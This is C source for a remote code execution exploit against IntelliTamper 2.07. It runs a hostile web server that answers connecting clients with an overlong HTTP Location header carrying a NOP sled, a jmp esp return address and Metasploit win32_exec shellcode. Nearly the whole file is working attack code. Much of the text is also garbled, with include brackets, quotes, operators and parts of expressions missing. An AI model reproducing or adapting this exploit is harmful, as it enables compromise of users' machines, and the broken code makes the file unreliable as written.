IntelliTamper2.07HTTPHeaderRemoteCodeExecutionExploit

IntelliTamper2.07HTTPHeaderRemoteCodeExecutionExploit

/**
**
** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.
**
** Based on exploit by Koshi (written in Perl). This one should be more
** stable. Just for fun and to learn more about win32 exploitation.
**
** by Wojciech Pawlikowski (wojtekp@gmail.com)
**/

#include sys/types.h
#include sys/socket.h

#include arpa/inet.h
#include netinet/in.h

#include netdb.h
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h

#define BUFSIZE 1550
#define NOP 0x90
#define RETADDR 0x7c941EED // jmp esp ntdll.dll

/* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */

unsigned char shellcode[] =
\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49
\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42
\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32
\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69
\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e
\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45
\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34
\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e
\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a
\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b
\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36
\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77
\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a
\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49
\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37
\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f
\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63
\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69
\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33
\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30
\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42 ;

int
main(void)
{
struct sockaddr_in serv_sin, cli_sin;
int i, sockfd, cli_sock, sock_opt = 1, sin_len;
char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd 0)
{
perror( socket() );
exit(-1);
}

serv_sin.sin_family = AF_INET;
serv_sin.sin_port = htons(80);
serv_sin.sin_addr.s_addr = INADDR_ANY;

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, 0)
{
perror( setsockopt() );
close(sockfd);
exit(-1);
}

if (bind(sockfd, (struct sockaddr *) 0)
{
perror( bind() );
close(sockfd);
exit(-1);
}

listen(sockfd, 1);
sin_len = sizeof(struct sockaddr);

printf( [*] Waiting for a connection...\n );

while (1)
{
cli_sock = accept(sockfd, (struct sockaddr *)
if (cli_sock 0)
{
perror( accept() );
exit(-1);
}

printf( [ ] Connection from %s:%d\n , inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));

read(cli_sock, buf, sizeof(buf) - 1);
overflow = (char *)malloc(BUFSIZE 1);

for (i = 0; i = 1540; i = 4)
*(long *)

for (i = 0; i 1536; i )
overflow[i] = NOP;

memcpy(overflow 550, shellcode, strlen(shellcode));
memcpy(overflow i 4, \xe9\x14\xfc\xff\xff , 5); // jmp -1000 - jump to our buffer

i = sprintf(req, 200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: );
memcpy(req i, overflow, strlen(overflow));
memcpy(req i strlen(overflow), \r\n\r\n , 4);

write(cli_sock, req, strlen(req));

printf( [ ] Exploit sent!\n );

close(cli_sock);
}

close(sockfd);
}

IntelliTamper2.07HTTPHeaderRemoteCodeExecutionExploit